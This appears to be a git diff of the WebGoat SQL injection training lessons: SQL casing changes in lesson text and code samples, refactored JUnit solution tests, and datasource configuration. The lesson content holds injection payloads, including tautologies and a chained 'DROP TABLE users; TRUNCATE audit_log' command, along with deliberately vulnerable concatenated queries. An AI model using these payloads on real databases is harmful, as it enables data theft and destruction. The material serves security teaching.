userid varchar(6) not null primary key,
first_name varchar(20),
last_name varchar(20),
department varchar(20),
salary int,
auth_tan varchar(6)
);
INSERT INTO employees VALUES ('32147','Paulina', 'Travers', 'Accounting', 46000, 'P45JSI');
INSERT INTO employees VALUES ('89762','Tobi', 'Barnett', 'Development', 77000, 'TA9LL1');
INSERT INTO employees VALUES ('96134','Bob', 'Franco', 'Marketing', 83700, 'LO9S2V');
INSERT INTO employees VALUES ('34477','Abraham ', 'Holman', 'Development', 50000, 'UU2ALK');
INSERT INTO employees VALUES ('37648','John', 'Smith', 'Marketing', 64350, '3SL99A');
CREATE TABLE access_log (
id int not null primary key identity,
time varchar(50),
action varchar(200)
);

@ -116,7 +116,7 @@
<input id="preview-input" type="text" name="username" val=""/>
<div class="listingblock">
<div class="content">
<pre>"SELECT * FROM USERS WHERE NAME = '<span id="input-preview" style="font-weight: bold;"></span>'";</pre>
<pre>"SELECT * FROM users WHERE name = '<span id="input-preview" style="font-weight: bold;"></span>'";</pre>
</div>
</div>
<script>
@ -151,7 +151,7 @@
enctype="application/json;charset=UTF-8">
<table>
<tr>
<td>SELECT * FROM USER_DATA WHERE FIRST_NAME = 'John' and LAST_NAME = '</td>
<td>SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '</td>
<td><select name="account">
<option>Smith</option>
<option>'Smith</option>

@ -5,7 +5,7 @@ public static String loadAccount() {
// Parser returns only valid string data
String accountID = getParser().getStringParameter(ACCT_ID, "");
String data = null;
String query = "SELECT FIRST_NAME, LAST_NAME, ACCT_ID, BALANCE FROM USER_DATA WHERE ACCT_ID = ?";
String query = "SELECT first_name, last_name, acct_id, balance FROM user_data WHERE acct_id = ?";
try (Connection connection = null;
PreparedStatement statement = connection.prepareStatement(query)) {
statement.setString(1, accountID);

@ -7,7 +7,7 @@ public static bool isUsernameValid(string username) {
// SqlConnection conn is set and opened elsewhere for brevity.
try {
string selectString = "SELECT * FROM USER_TABLE WHERE USERNAME = @userID";
string selectString = "SELECT * FROM user_table WHERE username = @userID";
SqlCommand cmd = new SqlCommand( selectString, conn );
if ( isUsernameValid( uid ) ) {
cmd.Parameters.Add( "@userID", SqlDbType.VarChar, 16 ).Value = uid;

@ -6,7 +6,7 @@ Answer: No it does not
Let us take a look at the following statement:
----
select * from users order by lastname;
SELECT * FROM users ORDER BY lastname;
----
If we look at the specification of the SQL grammar the definition is as follows:
@ -34,7 +34,7 @@ This means an `orderExpression` can be a `selectExpression` which can be a funct
a `case` statement we might be able to ask the database some questions, like:
----
SELECT * FROM USERS ORDER BY (CASE WHEN (TRUE) THEN LASTNAME ELSE FIRSTNAME)
SELECT * FROM users ORDER BY (CASE WHEN (TRUE) THEN lastname ELSE firstname)
----
So we can substitute any kind of boolean operation in the `when(....)` part. The statement will just work because

@ -5,7 +5,7 @@
/* */ are inline comments
-- , # are line comments
Example: SELECT * FROM USERS WHERE NAME = 'admin' --AND pass = 'pass'
Example: SELECT * FROM users WHERE name = 'admin' --AND pass = 'pass'
----
@ -13,7 +13,7 @@ Example: SELECT * FROM USERS WHERE NAME = 'admin' --AND pass = 'pass'
----
; allows query chaining
Example: SELECT * FROM USERS; DROP TABLE USERS;
Example: SELECT * FROM users; DROP TABLE users;
----
[source]
@ -21,7 +21,7 @@ Example: SELECT * FROM USERS; DROP TABLE USERS;
',+,|| allows string concatenation
Char() strings without quotes
Example: SELECT * FROM USERS WHERE NAME = '+char(27) OR 1=1
Example: SELECT * FROM users WHERE name = '+char(27) OR 1=1
----
@ -39,7 +39,7 @@ of the first column in the second (third, fourth, ...) SELECT Statement. The Sam
[source]
------
SELECT FIRST_NAME FROM USER_SYSTEM_DATA UNION SELECT LOGIN_COUNT FROM USER_DATA;
SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data;
------
The UNION ALL Syntax also allows duplicate Values.
@ -50,7 +50,7 @@ The Join operator is used to combine rows from two ore more tables, based on a r
[source]
-----
SELECT * FROM USER_DATA INNER JOIN USER_DATA_TAN ON USER_DATA.USERID=USER_DATA_TAN.USERID;
SELECT * FROM user_data INNER JOIN user_data_tan ON user_data.userid=user_data_tan.userid;
-----
For more detailed information about JOINS visit: https://www.w3schools.com/sql/sql_join.asp

@ -23,14 +23,14 @@ suppose we have the following url: `https://my-shop.com?article=4`
On the server side this query will be translated as follows:
----
SELECT * FROM ARTICLES WHERE ARTICLE_ID = 4
SELECT * FROM articles WHERE article_id = 4
----
When we want to exploit this we change the url into: `https://shop.example.com?article=4 AND 1=1`
This will be translated to:
----
SELECT * FROM ARTICLES WHERE ARTICLE_ID = 4 and 1 = 1
SELECT * FROM articles WHERE article_id = 4 and 1 = 1
----
If the browser will return the same page as it used to when using `https://shop.example.com?article=4` you know the

@ -4,16 +4,16 @@ These are the best defense against SQL injection. They either do not have data
=== Static Queries
-------------------------------------------------------
SELECT * FROM PRODUCTS;
SELECT * FROM products;
-------------------------------------------------------
-------------------------------------------------------
SELECT * FROM USERS WHERE USER = "'" + session.getAttribute("UserID") + "'";
SELECT * FROM users WHERE user = "'" + session.getAttribute("UserID") + "'";
-------------------------------------------------------
=== Parameterized Queries
-------------------------------------------------------
String query = "SELECT * FROM USERS WHERE LAST_NAME = ?";
String query = "SELECT * FROM users WHERE last_name = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();

@ -4,9 +4,9 @@
-------------------------------------------------------
CREATE PROCEDURE ListCustomers(@Country nvarchar(30))
AS
SELECT CITY, COUNT(*)
FROM CUSTOMERS
WHERE COUNTRY LIKE @Country GROUP BY CITY
SELECT city, COUNT(*)
FROM customers
WHERE country LIKE @Country GROUP BY city
EXEC ListCustomers USA
@ -17,7 +17,7 @@ EXEC ListCustomers USA
CREATE PROEDURE getUser(@lastName nvarchar(25))
AS
declare @sql nvarchar(255)
set @sql = 'SELECT * FROM USERS WHERE
LASTNAME = + @LastName + '
set @sql = 'SELECT * FROM users WHERE
lastname = + @LastName + '
exec sp_executesql @sql
-------------------------------------------------------

@ -12,8 +12,8 @@ RecordSet rs = null;
try {
pUserName = request.getParameter("UserName");
if ( isUsernameValid (pUsername) ) {
ps = conn.prepareStatement("SELECT * FROM USER_TABLE
WHERE USERNAME = ? ");
ps = conn.prepareStatement("SELECT * FROM user_table
WHERE username = ? ");
ps.setString(1, pUsername);
rs = ps.execute();
if ( rs.next() ) {

@ -3,7 +3,7 @@
The query in the code builds a dynamic query as seen in the previous example. The query is build by concatenating strings making it susceptible to String SQL injection:
------------------------------------------------------------
"SELECT * FROM USER_DATA WHERE FIRST_NAME = 'John' AND LAST_NAME = '" + lastName + "'";
"SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '" + lastName + "'";
------------------------------------------------------------
Using the form below try to retrieve all the users from the users table. You should not need to know any specific user name to get the complete list.

@ -3,7 +3,7 @@
The query in the code builds a dynamic query as seen in the previous example. The query in the code builds a dynamic query by concatenating a number making it susceptible to Numeric SQL injection:
--------------------------------------------------
"SELECT * FROM USER_DATA WHERE LOGIN_COUNT = " + Login_Count + " AND USERID = " + User_ID;
"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = " + User_ID;
--------------------------------------------------
Using the two Input Fields below, try to retrieve all the data from the users table.

@ -12,9 +12,9 @@ If an attacker uses SQL injection of the DML type to manipulate your database, h
* DELETE - Delete all records from a database table
* Example:
** Retrieve data:
** SELECT PHONE +
FROM EMPLOYEES +
WHERE USERID = 96134;
** SELECT phone +
FROM employees +
WHERE userid = 96134;
** This statement delivers the phone number of the employee with the userid 96134.
=== It is your turn!

@ -3,8 +3,8 @@
==== Here are some examples of what a hacker could supply to the input field to perform actions on the database that go further than just reading the data of a single user:
* `+Smith OR '1' = '1+` +
results in `+SELECT * FROM USERS WHERE NAME = 'Smith' OR TRUE;+` and that way will return all entries from the users table
results in `+SELECT * FROM users WHERE name = 'Smith' OR TRUE;+` and that way will return all entries from the users table
* `+Smith OR 1 = 1; --+` +
results in `+SELECT * FROM USERS WHERE NAME = 'Smith' OR TRUE;--';+` and that way will return all entries from the users table
* `+Smith; DROP TABLE USERS; TRUNCATE AUDIT_LOG; --+` +
results in `+SELECT * FROM users WHERE name = 'Smith' OR TRUE;--';+` and that way will return all entries from the users table
* `+Smith; DROP TABLE users; TRUNCATE audit_log; --+` +
chains multiple SQL-Commands and deletes the USERS table as well as entries from the audit_log

@ -24,7 +24,6 @@ package org.owasp.webgoat.sql_injection;
import org.junit.Before;
import org.owasp.webgoat.plugins.LessonTest;
import org.owasp.webgoat.session.WebgoatContext;
import org.owasp.webgoat.sql_injection.introduction.SqlInjection;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;

@ -22,19 +22,13 @@
package org.owasp.webgoat.sql_injection.introduction;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.owasp.webgoat.plugins.LessonTest;
import org.owasp.webgoat.session.WebgoatContext;
import org.owasp.webgoat.sql_injection.SqlLessonTest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.hamcrest.CoreMatchers.is;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;

@ -0,0 +1,45 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.sql_injection.introduction;
import org.hamcrest.CoreMatchers;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.owasp.webgoat.sql_injection.SqlLessonTest;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
@RunWith(SpringJUnit4ClassRunner.class)
public class SqlInjectionLesson2Test extends SqlLessonTest {
@Test
public void solution() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack2")
.param("query", "SELECT department FROM employees WHERE userid=96134;"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
}
}

@ -28,6 +28,8 @@ import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.junit.MockitoJUnitRunner;
import org.owasp.webgoat.assignments.AssignmentEndpointTest;
import org.owasp.webgoat.sql_injection.SqlLessonTest;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
@ -36,33 +38,13 @@ import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
@RunWith(MockitoJUnitRunner.class)
public class SqlInjectionLesson5Test extends AssignmentEndpointTest {
private MockMvc mockMvc;
@Before
public void setup() {
SqlInjectionLesson5 sql = new SqlInjectionLesson5();
init(sql);
this.mockMvc = standaloneSetup(sql).build();
when(webSession.getCurrentLesson()).thenReturn(new SqlInjection());
}
@RunWith(SpringJUnit4ClassRunner.class)
public class SqlInjectionLesson5Test extends SqlLessonTest {
@Test
public void grantSolution() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5")
.param("_query","grant alter table to unauthorizedUser"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.output", CoreMatchers.containsString("grant")))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
}
@Test
public void grantSolutionWithQuotes() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5")
.param("_query","grant alter table to \"unauthorizedUser\""))
.param("query","grant alter table to unauthorizedUser"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.output", CoreMatchers.containsString("grant")))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
@ -71,7 +53,7 @@ public class SqlInjectionLesson5Test extends AssignmentEndpointTest {
@Test
public void grantSolutionWithSingleQuotes() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5")
.param("_query","grant alter table to 'unauthorizedUser';"))
.param("query","grant alter table to 'unauthorizedUser';"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.output", CoreMatchers.containsString("grant")))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
@ -80,7 +62,7 @@ public class SqlInjectionLesson5Test extends AssignmentEndpointTest {
@Test
public void grantSolutionWrong() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5")
.param("_query","grant alter table to me"))
.param("query","grant alter table to me"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}

@ -1,3 +1,25 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.sql_injection.introduction;
import org.junit.Ignore;
@ -6,27 +28,21 @@ import org.junit.runner.RunWith;
import org.owasp.webgoat.sql_injection.SqlLessonTest;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.util.LinkedMultiValueMap;
import java.util.Map;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.CoreMatchers.is;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
/**
* @author nbaars
* @since 5/21/17.
*/
@RunWith(SpringJUnit4ClassRunner.class)
public class SqlInjectionLesson5aTest extends SqlLessonTest {
@Test
public void knownAccountShouldDisplayData() throws Exception {
var params = Map.of("account", "Smith", "operator", "", "injection", "");
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/assignment5a")
.params(new LinkedMultiValueMap(params)))
.param("account", "Smith")
.param("operator", "")
.param("injection", ""))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("assignment.not.solved"))))
@ -36,10 +52,9 @@ public class SqlInjectionLesson5aTest extends SqlLessonTest {
@Ignore
@Test
public void unknownAccount() throws Exception {
var params = Map.of("account", "Smith", "operator", "", "injection", "");
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/assignment5a")
.params(new LinkedMultiValueMap(params)))
.param("account", "Smith")
.param("operator", "").param("injection", ""))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)))
.andExpect(jsonPath("$.feedback", is(SqlInjectionLesson8Test.modifySpan(messages.getMessage("NoResultsMatched")))))
@ -48,9 +63,10 @@ public class SqlInjectionLesson5aTest extends SqlLessonTest {
@Test
public void sqlInjection() throws Exception {
var params = Map.of("account", "'", "operator", "OR", "injection", "'1' = '1");
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/assignment5a")
.params(new LinkedMultiValueMap(params)))
.param("account", "'")
.param("operator", "OR")
.param("injection", "'1' = '1"))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(true)))
.andExpect(jsonPath("$.feedback", containsString("You have succeed")))
@ -59,9 +75,10 @@ public class SqlInjectionLesson5aTest extends SqlLessonTest {
@Test
public void sqlInjectionWrongShouldDisplayError() throws Exception {
var params = Map.of("account", "Smith'", "operator", "OR", "injection", "'1' = '1'");
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/assignment5a")
.params(new LinkedMultiValueMap(params)))
.param("account", "Smith'")
.param("operator", "OR")
.param("injection", "'1' = '1'"))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)))
.andExpect(jsonPath("$.feedback", containsString(messages.getMessage("assignment.not.solved"))))

@ -22,21 +22,14 @@
package org.owasp.webgoat.sql_injection.introduction;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.owasp.webgoat.plugins.LessonTest;
import org.owasp.webgoat.session.WebgoatContext;
import org.owasp.webgoat.sql_injection.SqlLessonTest;
import org.owasp.webgoat.sql_injection.introduction.SqlInjection;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.CoreMatchers.is;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;

@ -22,20 +22,14 @@
package org.owasp.webgoat.sql_injection.introduction;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.owasp.webgoat.plugins.LessonTest;
import org.owasp.webgoat.session.WebgoatContext;
import org.owasp.webgoat.sql_injection.SqlLessonTest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.CoreMatchers.is;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;

@ -1,19 +1,12 @@
package org.owasp.webgoat.sql_injection.mitigation;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.owasp.webgoat.sql_injection.SqlLessonTest;
import org.owasp.webgoat.sql_injection.introduction.SqlInjection;
import org.owasp.webgoat.plugins.LessonTest;
import org.owasp.webgoat.session.WebgoatContext;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.hamcrest.Matchers.is;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;

@ -9,8 +9,12 @@ import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.DependsOn;
import org.springframework.context.annotation.Primary;
import org.springframework.core.annotation.Order;
import org.springframework.jdbc.datasource.DriverManagerDataSource;
import javax.sql.DataSource;
import java.sql.Driver;
import java.util.Map;
/**
@ -40,14 +44,12 @@ public class HSQLDBDatabaseConfig {
return server;
}
@Primary
@Bean
@DependsOn("hsqlStandalone")
public DataSource dataSource(@Value("${spring.datasource.driver-class-name}") String driverClass,
@Value("${spring.datasource.url}") String url) {
return DataSourceBuilder.create()
.driverClassName(driverClass)
.url(url)
.build();
@Primary
public DataSource dataSource(@Value("${spring.datasource.url}") String url) {
DriverManagerDataSource driverManagerDataSource = new DriverManagerDataSource(url);
driverManagerDataSource.setDriverClassName("org.hsqldb.jdbc.JDBCDriver");
return driverManagerDataSource;
}
}

@ -23,12 +23,17 @@
package org.owasp.webwolf;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.DependsOn;
import org.springframework.context.annotation.Primary;
import org.springframework.jdbc.datasource.DriverManagerDataSource;
import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
import javax.annotation.PostConstruct;
import javax.sql.DataSource;
import java.io.File;
/**
@ -59,4 +64,12 @@ public class MvcConfiguration implements WebMvcConfigurer {
file.mkdirs();
}
}
@Bean
@Primary
public DataSource dataSource(@Value("${spring.datasource.url}") String url) {
DriverManagerDataSource driverManagerDataSource = new DriverManagerDataSource(url);
driverManagerDataSource.setDriverClassName("org.hsqldb.jdbc.JDBCDriver");
return driverManagerDataSource;
}
}

@ -80,7 +80,6 @@ public class Requests {
}
private boolean allowedTrace(HttpTrace t, UserDetails user) {
Request req = t.getRequest();
boolean allowed = true;
/* do not show certain traces to other users in a classroom setup */

@ -8,6 +8,7 @@ server.servlet.session.cookie.name=WEBWOLFSESSION
server.servlet.session.timeout=6000
spring.datasource.url=jdbc:hsqldb:hsql://${WEBGOAT_HOST:127.0.0.1}:${WEBGOAT_HSQLPORT:9001}/webgoat
spring.jpa.properties.hibernate.default_schema=CONTAINER
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect
spring.jpa.hibernate.ddl-auto=update
spring.messages.basename=i18n/messages